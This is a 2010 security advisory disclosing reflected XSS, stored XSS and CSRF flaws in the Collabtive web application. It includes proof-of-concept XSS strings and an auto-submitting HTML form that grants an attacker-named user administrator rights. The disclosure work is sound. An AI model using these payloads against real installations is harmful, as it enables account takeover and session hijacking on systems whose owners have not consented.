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ANATOLIA SECURITY ADVISORY ------------------------------------ ### ADVISORY INFO ### + Title: Collabtive Multiple Vulnerabilities + Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-003.txt + Advisory ID:2010-003 + Version: 0.65 + Date: 12/10/2010 + Impact: Gaining Administrative Privileges - Execute Malicious Javascript Codes + CWE-ID: 352 (Cross-site Request Forgery) - 79 (Cross-site Scripting) + Credit: Anatolia Security ### VULNERABLE PRODUCT ### + Description: "Collabtive provides a web based platform to bring the project management process and documentation online. Collabtive is an open source solution with features and functionality similar to proprietary software such as BaseCamp." + Homepage: http://www.collabtive.com ### VULNERABILITY DETAILS ### I. Non-persistent Cross-site Scripting -------------------------------------- + Description: Application insert HTTP "y" parameter in "manageajax.php" and HTTP "pic" parameter in "thumb.php" into html output and fails while sanitize user supplied these inputs. Attackers can execute malicious javascript codes or hijacking PHPSESSID for privilege escalation. + Exploit/POC: http://target/manageajax.php?action=newcal&y=<script>alert(/XSS/)</script> http://target/thumb.php?pic=<script>alert(/XSS/)</script> II. Cross-site Request Forgery ------------------------------ + Description: Collabtive affects from Cross-site Request Forgery. Technically, attacker can create a specially crafted page and force collabtive administrators to visit it and can gain administrative privilege. For prevention from CSRF vulnerabilities, application needs anti-csrf token, captcha and asking old password for critical actions. + Exploit/POC: http://www.anatoliasecurity.com/exploits/collabtive-csrf-xploit.txt <!-- -*-*- ANATOLIA SECURITY (c) 2010 -*-*- $ Title: Proof of Concept Code for Collabtive $ ADV-ID: 2010-003 $ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-003.txt $ Technical Details: http://www.anatoliasecurity.com * PoC created by Eliteman ~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com ~ web: elite.anatoliasecurity.com --> <html> <head> <title>Collabtive CSRF P0C</title> </head> <body> <form method="post" action="http://collabtive/admin.php?action=edituser&id=2" enctype="multipart/form-data" name="csrfXploit"> <input type="hidden" value="hacker" name="name" /> <input type="hidden" value="hacker@hacker" name="email" /> <input type="hidden" value="m" name="gender" /> <input type="hidden" value="en" name="locale" /> <input type="hidden" value="" name="admin" /> <input type="hidden" value="1" name="role"> </form> <script type="text/javascript"> document.csrfXploit.submit(); </script> </body> </html> III. Stored Cross-site Scripting -------------------------------- + Description: Collabtive has Stored Cross-site Scripting vulnerability. Every user can change their usernames and application allows HTML codes and stores in database. + Exploit/POC: Change username to "user<script>alert(/AS/)</script>". |
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